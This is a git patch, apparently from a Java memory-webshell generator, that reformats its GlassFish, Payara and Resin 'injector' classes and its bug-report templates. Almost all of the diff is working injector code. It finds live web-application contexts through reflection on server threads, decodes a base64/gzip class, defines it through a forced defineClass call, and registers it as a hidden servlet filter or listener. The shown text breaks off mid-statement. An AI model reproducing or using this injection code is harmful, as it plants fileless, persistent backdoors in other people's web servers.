From 63c0d894627d0cc8b5e4ffd4428edb62354c7cb5 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 15 Dec 2024 09:52:09 +0800 Subject: [PATCH] refactor: code format --- .github/ISSUE_TEMPLATE/内存马生成-bug-上报.md | 9 +- .../ISSUE_TEMPLATE/内存马生成-ui-bug-上报.md | 6 +- .github/ISSUE_TEMPLATE/请求适配.md | 2 + .../javaweb/config/InjectorConfig.java | 21 +- .../injector/GlassFishFilterInjector.java | 211 +++++++++-------- .../injector/GlassFishListenerInjector.java | 157 +++++++------ .../injector/GlassFishValveInjector.java | 5 +- .../payara/injector/PayaraFilterInjector.java | 212 +++++++++--------- .../injector/PayaraListenerInjector.java | 145 ++++++------ .../resin/injector/ResinFilterInjector.java | 193 ++++++++-------- .../resin/injector/ResinListenerInjector.java | 144 ++++++------ generator/src/main/resources/shell.jsp | 7 + .../ByPassJavaModuleInterceptorTest.java | 7 +- .../buddy/LogRemoveVisitorWrapperTest.java | 1 + .../glassfish/GlassFish6ContainerTest.java | 3 +- .../payara/Payara520225ContainerTest.java | 1 - .../payara/Payara620222ContainerTest.java | 4 +- 17 files changed, 567 insertions(+), 561 deletions(-) diff --git a/.github/ISSUE_TEMPLATE/内存马生成-bug-上报.md b/.github/ISSUE_TEMPLATE/内存马生成-bug-上报.md index b830451f..cf176bba 100644 --- a/.github/ISSUE_TEMPLATE/内存马生成-bug-上报.md +++ b/.github/ISSUE_TEMPLATE/内存马生成-bug-上报.md @@ -10,16 +10,19 @@ assignees: '' 运行操作系统: [e.g. MacOS,Ubuntu,Debian,Windows] ### 生成参数 - - 服务类型: [e.g. Tomcat, Jetty,SpringMVC] - - 挂载类型: [e.g. Filter,Listener] - - 功能类型: [e.g. Command,Godzilla] + +- 服务类型: [e.g. Tomcat, Jetty,SpringMVC] +- 挂载类型: [e.g. Filter,Listener] +- 功能类型: [e.g. Command,Godzilla] ### 报错截图 OR 错误代码 + ```java Exception ``` ### 额外信息 + > Add any other context about the problem here. 某些其他可疑的点 diff --git a/.github/ISSUE_TEMPLATE/内存马生成-ui-bug-上报.md b/.github/ISSUE_TEMPLATE/内存马生成-ui-bug-上报.md index 1735632b..82987b14 100644 --- a/.github/ISSUE_TEMPLATE/内存马生成-ui-bug-上报.md +++ b/.github/ISSUE_TEMPLATE/内存马生成-ui-bug-上报.md @@ -8,19 +8,23 @@ assignees: '' --- ### 描述 + > A clear and concise description of what the bug is. 描述哪个功能不好使 ### 参数截图 OR 报错截图 + > If applicable, add screenshots to help explain your problem. 截图一下 ### 运行环境 - - 浏览器: [e.g. chrome, safari] + +- 浏览器: [e.g. chrome, safari] ### 额外信息 + > Add any other context about the problem here. 猜测哪里出了问题 diff --git a/.github/ISSUE_TEMPLATE/请求适配.md b/.github/ISSUE_TEMPLATE/请求适配.md index f7478e2b..d8ca8e82 100644 --- a/.github/ISSUE_TEMPLATE/请求适配.md +++ b/.github/ISSUE_TEMPLATE/请求适配.md @@ -8,11 +8,13 @@ assignees: '' --- ### 适配范围 + > Describe the scope you want to adapt to 适配点什么呢 ### 相关资料 + > Please list some useful links - link1 diff --git a/generator/src/main/java/com/reajason/javaweb/config/InjectorConfig.java b/generator/src/main/java/com/reajason/javaweb/config/InjectorConfig.java index 1da0f087..840d4b75 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/InjectorConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/config/InjectorConfig.java @@ -16,6 +16,14 @@ import net.bytebuddy.dynamic.DynamicType; @AllArgsConstructor @Builder(toBuilder = true) public class InjectorConfig { + /** + * 注入器 Builder + */ + DynamicType.Builder injectorBuilder; + /** + * 内存马 Builder + */ + DynamicType.Builder shellBuilder; /** * 注入器模板类 */ @@ -25,28 +33,15 @@ public class InjectorConfig { */ @Builder.Default private String injectorClassName = CommonUtil.generateInjectorClassName(); - - /** - * 注入器 Builder - */ - DynamicType.Builder injectorBuilder; - /** * 注入访问的地址 */ @Builder.Default private String urlPattern = "/*"; - /** * 内存马类名 */ private String shellClassName; - - /** - * 内存马 Builder - */ - DynamicType.Builder shellBuilder; - /** * 内存马类字节 */ diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishFilterInjector.java index 8766192d..7b415ab3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishFilterInjector.java @@ -18,25 +18,13 @@ import java.util.zip.GZIPInputStream; * @author ReaJason */ public class GlassFishFilterInjector { - Logger log = Logger.getLogger(GlassFishFilterInjector.class.getName()); - - public String getUrlPattern() { - return "{{urlPattern}}"; - } - - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() throws IOException { - return "{{base64Str}}"; - } - static { new GlassFishFilterInjector(); } + Logger log = Logger.getLogger(GlassFishFilterInjector.class.getName()); + + public GlassFishFilterInjector() { try { List contexts = getContext(); @@ -50,6 +38,108 @@ public class GlassFishFilterInjector { } + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { List contexts = new ArrayList(); Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); @@ -130,95 +220,4 @@ public class GlassFishFilterInjector { e.printStackTrace(); } } - - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream ungzip = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = ungzip.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - - - static Object getFV(Object obj, String fieldName) throws Exception { - Field field = getF(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } - - static Field getF(Object obj, String fieldName) throws NoSuchFieldException { - Class clazz = obj.getClass(); - while (clazz != null) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException e) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(fieldName); - } - - static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (int i = 0; i < methods.length; i++) { - if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { - method = methods[i]; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishListenerInjector.java index 480fcba0..0d0760ee 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishListenerInjector.java @@ -18,20 +18,12 @@ import java.util.zip.GZIPInputStream; * @author ReaJason */ public class GlassFishListenerInjector { - Logger log = Logger.getLogger(GlassFishListenerInjector.class.getName()); - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() throws IOException { - return "{{base64Str}}"; - } - static { new GlassFishListenerInjector(); } + Logger log = Logger.getLogger(GlassFishListenerInjector.class.getName()); + public GlassFishListenerInjector() { try { List contexts = getContext(); @@ -45,75 +37,6 @@ public class GlassFishListenerInjector { } - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - try { - for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - Map childrenMap = (Map) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); - for (Object key : childrenMap.keySet()) { - Map children = (Map) getFV(childrenMap.get(key), "children"); - for (Object key1 : children.keySet()) { - Object context = children.get(key1); - if (context != null) { - contexts.add(context); - } - } - } - } - } - } catch (Exception e) { - e.printStackTrace(); - } - return contexts; - } - - private Object getListener(Object context) throws Exception { - Object listener = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - - try { - listener = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - listener = clazz.newInstance(); - } catch (Exception ignored) { - } - - } - return listener; - } - - public void addListener(Object context, Object listener) throws Exception { - try { - List eventListeners = (List) invokeMethod(context, "getApplicationEventListeners"); - boolean isExist = false; - for (EventListener eventListener : eventListeners) { - if (eventListener.getClass().getName().equals(listener.getClass().getName())) { - isExist = true; - break; - } - } - if (!isExist) { - log.info("listener added successfully"); - eventListeners.add((EventListener) listener); - }else{ - log.warning("listener already exists"); - } - } catch (Exception e) { - e.printStackTrace(); - } - } - - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class decoderClass; try { @@ -203,4 +126,80 @@ public class GlassFishListenerInjector { } } } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + try { + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + Map children = (Map) getFV(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null) { + contexts.add(context); + } + } + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + return contexts; + } + + private Object getListener(Object context) throws Exception { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Exception ignored) { + } + + } + return listener; + } + + public void addListener(Object context, Object listener) throws Exception { + try { + List eventListeners = (List) invokeMethod(context, "getApplicationEventListeners"); + boolean isExist = false; + for (EventListener eventListener : eventListeners) { + if (eventListener.getClass().getName().equals(listener.getClass().getName())) { + isExist = true; + break; + } + } + if (!isExist) { + log.info("listener added successfully"); + eventListeners.add((EventListener) listener); + } else { + log.warning("listener already exists"); + } + } catch (Exception e) { + e.printStackTrace(); + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishValveInjector.java index 75c68e6f..f82aaa96 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishValveInjector.java @@ -6,7 +6,10 @@ import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; -import java.util.*; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; import java.util.zip.GZIPInputStream; /** diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraFilterInjector.java index fab4504f..4fc223b3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraFilterInjector.java @@ -10,7 +10,6 @@ import java.lang.reflect.Method; import java.util.ArrayList; import java.util.HashMap; import java.util.List; -import java.util.Map; import java.util.logging.Logger; import java.util.zip.GZIPInputStream; @@ -18,25 +17,13 @@ import java.util.zip.GZIPInputStream; * @author ReaJason */ public class PayaraFilterInjector { - Logger log = Logger.getLogger(PayaraFilterInjector.class.getName()); - - public String getUrlPattern() { - return "{{urlPattern}}"; - } - - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() throws IOException { - return "{{base64Str}}"; - } - static { new PayaraFilterInjector(); } + Logger log = Logger.getLogger(PayaraFilterInjector.class.getName()); + + public PayaraFilterInjector() { try { List contexts = getContext(); @@ -50,6 +37,108 @@ public class PayaraFilterInjector { } + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { List contexts = new ArrayList(); Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); @@ -124,95 +213,4 @@ public class PayaraFilterInjector { e.printStackTrace(); } } - - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream ungzip = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = ungzip.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - - - static Object getFV(Object obj, String fieldName) throws Exception { - Field field = getF(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } - - static Field getF(Object obj, String fieldName) throws NoSuchFieldException { - Class clazz = obj.getClass(); - while (clazz != null) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException e) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(fieldName); - } - - static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (int i = 0; i < methods.length; i++) { - if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { - method = methods[i]; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraListenerInjector.java index 86cfe4d3..4337f6d2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraListenerInjector.java @@ -17,20 +17,12 @@ import java.util.zip.GZIPInputStream; * @author ReaJason */ public class PayaraListenerInjector { - Logger log = Logger.getLogger(PayaraListenerInjector.class.getName()); - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() throws IOException { - return "{{base64Str}}"; - } - static { new PayaraListenerInjector(); } + Logger log = Logger.getLogger(PayaraListenerInjector.class.getName()); + public PayaraListenerInjector() { try { List contexts = getContext(); @@ -44,69 +36,6 @@ public class PayaraListenerInjector { } - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - try { - for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - Object context = getFV(getFV(thread, "target"), "this$0"); - if (context != null && "com.sun.enterprise.web.WebModule".equals(context.getClass().getName())) { - contexts.add(context); - } - } - } - } catch (Exception e) { - e.printStackTrace(); - } - return contexts; - } - - private Object getListener(Object context) throws Exception { - Object listener = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - - try { - listener = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - listener = clazz.newInstance(); - } catch (Exception ignored) { - } - - } - return listener; - } - - public void addListener(Object context, Object listener) throws Exception { - try { - List eventListeners = (List) invokeMethod(context, "getApplicationEventListeners"); - boolean isExist = false; - for (EventListener eventListener : eventListeners) { - if (eventListener.getClass().getName().equals(listener.getClass().getName())) { - isExist = true; - break; - } - } - if (!isExist) { - log.info("listener added successfully"); - eventListeners.add((EventListener) listener); - } else { - log.warning("listener already exists"); - } - } catch (Exception e) { - e.printStackTrace(); - } - } - - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class decoderClass; try { @@ -196,4 +125,74 @@ public class PayaraListenerInjector { } } } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + try { + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Object context = getFV(getFV(thread, "target"), "this$0"); + if (context != null && "com.sun.enterprise.web.WebModule".equals(context.getClass().getName())) { + contexts.add(context); + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + return contexts; + } + + private Object getListener(Object context) throws Exception { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Exception ignored) { + } + + } + return listener; + } + + public void addListener(Object context, Object listener) throws Exception { + try { + List eventListeners = (List) invokeMethod(context, "getApplicationEventListeners"); + boolean isExist = false; + for (EventListener eventListener : eventListeners) { + if (eventListener.getClass().getName().equals(listener.getClass().getName())) { + isExist = true; + break; + } + } + if (!isExist) { + log.info("listener added successfully"); + eventListeners.add((EventListener) listener); + } else { + log.warning("listener already exists"); + } + } catch (Exception e) { + e.printStackTrace(); + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/resin/injector/ResinFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/resin/injector/ResinFilterInjector.java index 35004c42..9ac3aaab 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/resin/injector/ResinFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/resin/injector/ResinFilterInjector.java @@ -18,19 +18,6 @@ public class ResinFilterInjector { new ResinFilterInjector(); } - public String getUrlPattern() { - return "{{urlPattern}}"; - } - - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() throws IOException { - return "{{base64Str}}"; - } - public ResinFilterInjector() { try { List contexts = getContext(); @@ -44,90 +31,6 @@ public class ResinFilterInjector { } - private void addFilter(Object context, Object filter) throws Exception { - String filterClassName = filter.getClass().getName(); - if (isInjected(context, filterClassName)) { - System.out.println("filter already injected"); - return; - } - try { - Class filterMappingClass; - try { - filterMappingClass = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping"); - } catch (Exception e) { - filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping"); - } - Object filterMappingImpl = filterMappingClass.newInstance(); - invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); - Object urlPattern = invokeMethod(filterMappingImpl, "createUrlPattern"); - invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()}); - invokeMethod(urlPattern, "init"); - invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl}); - invokeMethod(context, "clearCache"); - System.out.println("filter injected"); - } catch (Throwable e) { - System.out.println("filter inject failed"); - e.printStackTrace(); - } - } - - public List getContext() { - Set contexts = new HashSet(); - try { - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); - for (Thread thread : threads) { - Class servletInvocationClass = null; - try { - servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); - } catch (Exception e) { - continue; - } - if (servletInvocationClass != null) { - Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); - Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]); - if (webApp != null) { - contexts.add(webApp); - } - } - } - } catch (Exception e) { - e.printStackTrace(); - } - return Arrays.asList(contexts.toArray()); - } - - private Object getFilter(Object context) { - Object filter = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - try { - filter = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - filter = clazz.newInstance(); - } catch (Throwable tt) { - } - } - return 